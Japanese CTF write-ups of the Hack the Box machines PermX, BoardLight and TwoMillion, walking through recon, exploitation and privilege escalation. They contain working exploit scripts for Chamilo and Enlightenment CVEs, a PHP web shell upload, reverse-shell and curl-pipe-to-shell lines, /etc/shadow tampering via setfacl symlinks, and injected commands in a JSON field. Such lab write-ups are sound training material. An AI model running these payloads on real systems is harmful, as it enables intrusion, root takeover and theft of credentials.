Writeup | Hack the Box: PermX
こちらもSeason 5。 EASYマシンだとパスワード見つけたら取りあえずログイン試す、みたいなので入れること多い気がする。
HTB PermX
nmap
# hosts 追加 echo "10.129.135.205 permx.htb" | sudo tee -a /etc/hosts
$ nmap -sC -A permx.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA) |_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://permx.htb |_http-server-header: Apache/2.4.52 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
- SSH/HTTP のいつもの構成
http://permx.htb/
- http://permx.htb/
- eLEARNING Loadingめっちゃ回ってて草
- wow.jsらしい https://wowjs.uk/
- pagesの下にコンテンツある 404とかも
- SSIかなあ?
サブドメイン探索
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -H "Host: FUZZ.permx.htb" -u http://permx.htb/ -fc 302 www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 497ms] lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 286ms]
echo "10.129.135.205 www.permx.htb" | sudo tee -a /etc/hosts echo "10.129.135.205 lms.permx.htb" | sudo tee -a /etc/hosts
http://lms.permx.htb/
- http://lms.permx.htb/
- http://lms.permx.htb/main/auth/lostPassword.php
- パスワードリセット
- test =>
There is no account with this user and/or e-mail address - "' OR 1=1; --" => 同じ
- Bool based SQLiっぽい?と思ったけど、これ普通に製品CMSだSQLiじゃないな
Chamilo (CMS)
- そういえば管理画面よくみたらCMSっぽい
- バージョンは不明
- https://starlabs.sg/advisories/23/23-3368/
- (CVE-2023-3368) Chamilo LMS Unauthenticated Command Injection
- Exploit がありそう
- http://lms.permx.htb/main/webservices/additional_webservices.php ある
- https://starlabs.sg/advisories/23/23-3368/#proof-of-concept
- PoCコードがあるので使ってみる
cat > exploit.py python3 exploit.py -u http://lms.permx.htb/ -c 'id > /tmp/pwned' An error has occured, URL is not vulnerable: http://lms.permx.htb/
違うか
- https://starlabs.sg/advisories/23/23-3533/
- (CVE-2023-3533) Chamilo LMS Unauthenticated Remote Code Execution via Arbitrary File Write
- 他にもある
- PoCコードもあるので見てみる
python3 exploit2.py -u http://lms.permx.htb/ rce -p system id Overwriting session file at: ../../../../../../../../tmp/sess_sJY7EXvdQiMhPRqe9RGIwoF29l4geYiM Setting ch_sid=sJY7EXvdQiMhPRqe9RGIwoF29l4geYiM Invoking system() with arguments: id Found data: URL not vulnerable: http://lms.permx.htb/
これも違う
msfconsole msf6 > search CVE-2023-34960 msf6 > use exploit/linux/http/chamilo_unauth_rce_cve_2023_34960 ... [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. No valid response received from the target. "set ForceExploit true" to override check result.
これも違うなあ
indexesがtrue?
- indexが...全部見える
- http://lms.permx.htb/web/
- http://lms.permx.htb/app/
- phpファイルは実行されてしまうけど、ymlファイルとかは全部ダウンロード出来る
- http://lms.permx.htb/app/config/
- parameters.yml.dist
parameters:
database_driver: pdo_mysql
database_host: 127.0.0.1
database_port: ~
database_name: chamilo111
database_user: root
database_password: root
mailer_transport: smtp
mailer_host: 127.0.0.1
mailer_user: ~
mailer_password: ~
役に立ちそうにはないか なんかいろいろありそうだしfuzz
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://lms.permx.htb/FUZZ
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 251ms]
[Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 501ms]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2000ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4703ms]
app [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 440ms]
bin [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 249ms]
certificates [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 250ms]
documentation [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 249ms]
favicon.ico [Status: 200, Size: 2462, Words: 3, Lines: 2, Duration: 251ms]
index.php [Status: 200, Size: 19356, Words: 4910, Lines: 353, Duration: 282ms]
LICENSE [Status: 200, Size: 35147, Words: 5836, Lines: 675, Duration: 253ms]
main [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 292ms]
plugin [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 249ms]
robots.txt [Status: 200, Size: 748, Words: 75, Lines: 34, Duration: 272ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 250ms]
src [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 305ms]
vendor [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 251ms]
web.config [Status: 200, Size: 5780, Words: 1119, Lines: 107, Duration: 250ms]
web [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 265ms]
あやしそうなの
- http://lms.permx.htb/certificates/
- ログインフォーム
- http://lms.permx.htb/documentation/changelog.html
- Chamilo 1.11.24 バージョンが確定
- つまり重要な脆弱性のあるバージョンじゃない
CVE-2023-4220/4224 BigUpload
こっちは学習者アカウントが必要 - https://www.cve.org/CVERecord?id=CVE-2023-4224 - https://starlabs.sg/advisories/23/23-4224/
こっちは不要 - https://www.cve.org/CVERecord?id=CVE-2023-4220 - https://github.com/charlesgargasson/CVE-2023-4220
$ cat exploit.sh
#!/bin/bash
HOST='http://lms.permx.htb'
CMD='id'
URL_UPLD='main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
URL_FILE='main/inc/lib/javascript/bigupload/files/rce.php'
cat <<'EOF'>/tmp/rce.php
<?php
$a=popen(base64_decode($_REQUEST["aoOoy"]),'r');while($b=fgets($a,2048)){echo $b;ob_flush();flush();}pclose($a);
?>
EOF
curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URL_UPLD"
CMD=$(echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")
curl "$HOST/$URL_FILE?aoOoy=$CMD
└─$ sh exploit.sh The file has successfully been uploaded.uid=33(www-data) gid=33(www-data) groups=33(www-data)
できた!
└─$ head exploit.sh #!/bin/bash HOST='http://lms.permx.htb' CMD='bash -c "bash -i >& /dev/tcp/10.10.16.23/4444 0>&1"'
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami
www-data
www-data@permx:/var/www$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data => mtz
www-data@permx:/var/www$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 Jan 20 18:10 . drwxr-xr-x 18 root root 4096 Jul 1 13:05 .. drwxr-x--- 4 mtz mtz 4096 Jun 6 05:24 mtz
- /var/www/chamilo/app/config/configuration.php
$_configuration['db_host'] = 'localhost'; $_configuration['db_port'] = '3306'; $_configuration['main_database'] = 'chamilo'; $_configuration['db_user'] = 'chamilo'; $_configuration['db_password'] = '03F6lY3uXAP2bkW8';
DBパスワードありそうだけど、さて...
ssh mtz@permx.htb mtz@permx.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64) ... mtz@permx:~$ whoami mtz mtz@permx:~$ cat user.txt XXXX
はいれた
sudo
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
お約束のsudo抜け
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
- setfaclってなんじゃ
- https://atmarkit.itmedia.co.jp/ait/articles/1808/23/news026.html
- https://www.mtioutput.com/entry/chmod-setfacl-differ
- ACL操作するコマンドだった (しらんかった!)
- 拡張権限が付く (+がつくよ)
sudo /opt/acl.sh root rwx /home/mtz/vi
このような実行が可能だが、script.shは "/home/mtz/" を含むこと、".."を含まないことという制限がある。 更にsymlink対策としてファイルかどうかもチェックしている。
- なんとか/opt/acl.shを編集出来るようにしたい
- /home/mtz/ は必ず必要
- .. は使えない
- ではsymlinkで対策
- ln -s / /home/mtz/root
- setfacl /home/mtz/root/shadow
- rootのパスワードを書き込む
mtz@permx:~$ ln -s / root mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow mtz@permx:~$ ls -la /etc/shadow -rw-rwx---+ 1 root shadow 1119 Jul 9 00:06 /etc/shadow mtz@permx:~$ getfacl /etc/shadow getfacl: Removing leading '/' from absolute path names # file: etc/shadow # owner: root # group: shadow user::rw- user:mtz:rwx
- なぜか3分ぐらいでパーミッション切れる...
- どうもリセットされているらしいので素早くやる
#パスワードは適当に mkpasswd -m sha-512 passwd $6$sYeguGCxuj27fXWi$11KdBNmu2T6gy1.E0STz1x26/QQdN4t05S2eAAsj57b0PrWExNtshi3L98aVW3Zkl2nXbKEewyOJcqZFoLRPL1
ln -s / /home/mtz/root sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow vi /etc/shadow
root@permx:/home/mtz# whoami root root@permx:/home/mtz# cat /root/root.txt XXXX
GJ!
Writeup | Hack the Box: BoardLight
Season 5終わったので公開。 初参戦シーズンということもあってEASYしか解けなかったけど、今までの知識でなんとか出来た。
HTB: BoardLight
echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts
nmap
# nmap -sC -A board.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA) | 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA) |_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
- 22: SSH
- 80: HTTP
標準構成
Web
- http://boardlight.htb
- Burp ONで見てみる
- フォームが1つ contact.php
action=""=> 実装されていない?- name属性もないので実装されてなさそう
# なんかコメントアウトされてるページがある <!-- <a class="nav-link" href="portfolio.php"> Portfolio </a> -->
- http://board.htb/portfolio.php
File not found.なさそうか- http://board.htb/404 => これはApacheの404
- http://board.htb/test.php => File not found.
- http://board.htb/_portfolio.php => 404
ffuf
# ffuf -w /usr/share/wordlists/dirb/common.txt -u http://board.htb/FUZZ.php
about [Status: 200, Size: 9100, Words: 3084, Lines: 281, Duration: 172ms]
contact [Status: 200, Size: 9426, Words: 3295, Lines: 295, Duration: 164ms]
do [Status: 200, Size: 9209, Words: 3173, Lines: 295, Duration: 291ms]
index [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 160ms]
# ffuf -w /usr/share/wordlists/dirb/common.txt -u http://board.htb/FUZZ
.htaccess [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 156ms]
.hta [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 156ms]
[Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 309ms]
.htpasswd [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 157ms]
css [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 157ms]
images [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 156ms]
index.php [Status: 200, Size: 15949, Words: 6243, Lines: 518, Duration: 2280ms]
js [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 156ms]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 165ms]
- 特に怪しいのはなし
- Webの問題ではないかも
CVE-2021-40438 => SSRF?
# whatweb -a 3 http://board.htb http://board.htb [200 OK] Apache[2.4.41], Bootstrap[4.3.1], Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]
CVE-2021-40438=> SSRF脆弱性あり
# 中身はこれ GET http://board.htb/?unix:AA...AAAA|http://127.0.0.1:3000/ # pythonで実行している python3 CVE-2021-40438.py -t http://board.htb -ssrf http://10.10.16.22:8000 | head
- 成功しない 違うかも...
サブドメイン探索
board.htb とwebに書いてあるからサブドメインもあるか?
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -H "Host: FUZZ.board.htb" -u http://board.htb/ \ -fs 15949 crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 6241ms]
あったわ。
echo "10.10.11.11 crm.board.htb" | sudo tee -a /etc/hosts
Dolibarr => CVE-2023-30253
- http://crm.board.htb/
- Dolibarr 17.0.0
- Login/Password
CVE-2023-30253
- PHP Code Injection
https://github.com/Dolibarr/dolibarr/issues/6568#issuecomment-1912088743
- admin/admin がデフォルト
- 入れた
Current login: admin
# nc -lnvp 4444 python3 exploit.py http://crm.board.htb admin admin 10.10.16.22 4444
yessss!
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ pwd pwd /var/www/html/crm.board.htb/htdocs/public/website www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ whoami whoami www-data
www-data@boardlight:~$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 May 17 01:04 . drwxr-xr-x 19 root root 4096 May 17 01:04 .. drwxr-x--- 16 larissa larissa 4096 Jun 25 03:33 larissa
larissa というのがユーザーっぽいけど、 www-data ではアクセスできない
linpears
www-data でアクセス出来そうなファイルを探す
# localでhostさせておく # python3 -m http.server 8000 curl http://10.10.16.22:8000/linpeas.sh|sh
# larissaのファイルがたくさん www-data@boardlight:~/html/board.htb$ -la ls -la total 72 drwxr-xr-x 5 www-data www-data 4096 May 17 01:04 . drwxr-xr-x 4 www-data www-data 4096 May 17 01:04 .. -rw-rw-r-- 1 larissa larissa 9100 May 15 11:01 about.php -rw-rw-r-- 1 larissa larissa 9426 May 15 11:02 contact.php drwxrwxr-x 2 larissa larissa 4096 May 17 01:04 css -rw-rw-r-- 1 larissa larissa 9209 May 15 11:02 do.php drwxrwxr-x 2 larissa larissa 4096 May 17 01:04 images -rw-rw-r-- 1 larissa larissa 15949 May 15 11:02 index.php drwxrwxr-x 2 larissa larissa 4096 May 17 01:04 js
# MySQL生きてそう tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - # バックアップファイル => 収穫無し -r-------- 1 www-data www-data 16394 May 13 13:20 /var/www/html/crm.board.htb/htdocs/conf/conf.php.old
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -la ls -la total 56 drwxr-xr-x 2 www-data www-data 4096 May 17 00:18 . drwxr-xr-x 79 www-data www-data 4096 Mar 4 2023 .. -rw-r--r-- 1 www-data www-data 31 Mar 4 2023 .htaccess -rw-r--r-- 1 www-data www-data 1736 May 17 00:18 conf.php -rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example -r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ pwd pwd /var/www/html/crm.board.htb/htdocs/conf
# conf.php $dolibarr_main_db_name='dolibarr'; $dolibarr_main_db_user='dolibarrowner'; $dolibarr_main_db_pass='serverfun2$2023!!';
MySQL
# serverfun2$2023!!
mysql -u dolibarrowner -p dolibarr
# アカウントテーブル
SHOW TABLES;
=> llx_user
\g
SELECT * FROM llx_user\G;
*************************** 1. row ***************************
rowid: 1
...
login: dolibarr
pass_crypted: $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm
pass_temp: NULL
api_key: NULL
lastname: SuperAdmin
*************************** 2. row ***************************
rowid: 2
...
login: admin
pass_crypted: $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96
pass_temp: NULL
api_key: yr6V3pXd9QEI
lastname: admin
$2y$10$=> bcrypt
# => failed hashcat -m 3200 $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96
user
- serverfun2$2023!! というパスワードはきっとヒント
- larissaでログインしてみたら入れた
ssh larissa@board.htb The authenticity of host 'board.htb (10.10.11.11)' can't be established. ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts. larissa@board.htb's password: Last login: Tue Jun 25 03:12:56 2024 from 10.10.14.116 larissa@boardlight:~$
larissa@boardlight:~$ cat user.txt XXXX
再び linpeas
- sudoers ではない
larissa@boardlight:~$ id uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm) larissa@boardlight:~$ sudo -l [sudo] password for larissa: Sorry, user larissa may not run sudo on localhost.
さきほどのlinpeasの結果をもう一度見る
╔══════════╣ SUID - Check easy privesc, exploits and write perms ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid -rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device -rwsr-sr-x 1 root root 15K Apr 8 18:36 /usr/lib/xorg/Xorg.wrap -rwsr-xr-x 1 root root 27K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!) -rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!) -rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!) -rwsr-xr-x 1 root root 15K Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)
enlightenment_sys とかいうの怪しい
Enlightenment => マシン名BoardLightだしたぶんこれっぽい
この通り実行していく
# check larissa@boardlight:~/tmp$ file /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c32a8a1b279ba209d1029c51435d64b86ca09b8b, for GNU/Linux 3.2.0, stripped # 実行しても出力なし => OK larissa@boardlight:~/tmp$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys larissa@boardlight:~/tmp$ # help => OK larissa@boardlight:~/tmp$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys --help This is an internal tool for Enlightenment. do not use it.
# strace
larissa@boardlight:~/tmp$ strace /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys 2>&1 | grep open
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libeina.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libecore.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libbluetooth.so.3", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsystemd.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libunwind-x86_64.so.8", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libunwind.so.8", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libeo.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libefl.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libglib-2.0.so.0", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblzma.so.5", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblz4.so.1", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgcrypt.so.20", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpcre.so.3", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgpg-error.so.0", O_RDONLY|O_CLOEXEC) = 3
# strace exec
larissa@boardlight:~/tmp$ strace /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys 2>&1 | grep exec
execve("/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys", ["/usr/lib/x86_64-linux-gnu/enligh"...], 0x7ffc29275890 /* 18 vars */) = 0
syscallが成功している
larissa@boardlight:~/tmp$ cat ex.sh
#!/bin/bash
echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
echo "[-] Couldn't find the vulnerable SUID file..."
echo "[*] Enlightenment should be installed on your system."
exit 1
fi
echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
larissa@boardlight:~/tmp$ sh ex.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
ex.sh: 8: [[: not found
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami root # cd /root/ # ls root.txt snap # cat root.txt XXXX
got it!
Writeup | Hack the Box: TwoMillion
- Guided mode 使用
- Retired Free Machine
間がだいぶ空いたのでちょっとリハビリがてら
nmap
└─$ nmap 10.10.11.221 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 09:36 JST Nmap scan report for 10.10.11.221 Host is up (0.25s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 666.89 seconds
Webサーバー
~/dev/hack 🐶💭❯ curl --verbose http://10.10.11.221 * Trying 10.10.11.221:80... * Connected to 10.10.11.221 (10.10.11.221) port 80 ... < HTTP/1.1 301 Moved Permanently < Server: nginx ... < Location: http://2million.htb/
リダイレクトかかってる
2million.htb というホストを想定してそう
~/dev/hack 🐶💭❯ cat /etc/hosts | tail -n 1 10.10.11.221 2million.htb
色々調整面倒なのでhostsに書いた

ホスト外からのアクセスにリダイレクトかけてるだけっぽい
/invite から登録
/js/inviteapi.min.js

ちょっとトリッキーだけどevalで組み立てられてる グローバルに展開されてるっぽいのでブラウザのコンソールで打てる
makeInviteCode()
undefined
Object { 0: 200, success: 1, data: {…}, hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." }
makeInviteCode() だと思う。

In order to generate the invite code, make a POST request to /api/v1/invite/generate
~/dev/hack 🐶💭❯ curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"RjIxNkktMzRaRkwtTVFBTUQtMjFMQTg=","format":"encoded"}}%
たぶんBASE64 => Cyberchefとかでデコードして F216I-34ZFL-MQAMD-21LA8

ログイン後、Connection Packを探す。たぶんVPNの話なので探すとAccessの中にあった
GET /api/v1/user/vpn/generate
http://2million.htb/api/v1 を見るとうっかりAPIがJSONでまとまっており、その中に admin 関連のものもある
PUT /api/v1/admin/settings/update "Update user settings"
これが怪しいが、まずauth周りを調べる
GET /api/v1/user/auth GET /api/v1/admin/auth
user/authを参考にadmin/authの挙動を探る。セッションはCookieっぽいので、
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" http://2million.htb/api/v1/user/auth
{"loggedin":true,"username":"skyriser","is_admin":0}
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" http://2million.htb/api/v1/admin/auth
{"message":false}
それっぽいリクエストを投げる
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" http://2million.htb/api/v1/admin/settings/update -XPUT -H 'Content-Type: application/json' -d '{"username":"skyriser","is_admin":"1"}' --verbose
...
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Missing parameter: email"}
JSONでリクエスト受け付けてるっぽい。とりあえずadminにしちゃう
adminで色々やってみるが、関係ない気がする
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" http://2million.htb/api/v1/admin/settings/update -XPUT -H 'Content-Type: application/json' -d '{"username":"skyriser","is_admin":1,"email":"skyriser@example.com"}' --verbose
{"id":15,"username":"skyriser","is_admin":1}
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" http://2million.htb/api/v1/admin/auth
{"message":true}
あと試してないのはこれ。
POST /api/v1/admin/vpn/generate Generate VPN for specific user
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" -XPOST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -d '{"username":"admin"}'
...
普通に他人のOpenVPNがダウンロード出来るけど、ディレクトリトラバーサル問題っぽいからusernameに細工すれば悪いことできそう
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" -XPOST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -d '{"username":"admin;ls;"}'
Database.php
Router.php
VPN
assets
controllers
css
fonts
images
index.php
js
views
出来た。
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" -XPOST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -d '{"username":"admin;whoami;"}'
www-data
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" -XPOST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -d '{"username":"admin;ls -la;"}'
total 56
drwxr-xr-x 10 root root 4096 Jun 8 02:40 .
drwxr-xr-x 3 root root 4096 Jun 6 2023 ..
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php
drwxr-xr-x 5 root root 4096 Jun 8 02:40 VPN
drwxr-xr-x 2 root root 4096 Jun 6 2023 assets
drwxr-xr-x 2 root root 4096 Jun 6 2023 controllers
drwxr-xr-x 5 root root 4096 Jun 6 2023 css
drwxr-xr-x 2 root root 4096 Jun 6 2023 fonts
drwxr-xr-x 2 root root 4096 Jun 6 2023 images
-rw-r--r-- 1 root root 2692 Jun 2 2023 index.php
drwxr-xr-x 3 root root 4096 Jun 6 2023 js
drwxr-xr-x 2 root root 4096 Jun 6 2023 views
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" -XPOST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -d '{"username":"admin;ls -la /home/admin;"}'
total 32
drwxr-xr-x 4 admin admin 4096 Jun 7 14:18 .
drwxr-xr-x 3 root root 4096 Jun 6 2023 ..
lrwxrwxrwx 1 root root 9 May 26 2023 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin 220 May 26 2023 .bash_logout
-rw-r--r-- 1 admin admin 3771 May 26 2023 .bashrc
drwx------ 2 admin admin 4096 Jun 6 2023 .cache
-rw------- 1 admin admin 0 Jun 7 14:18 .lesshsQ
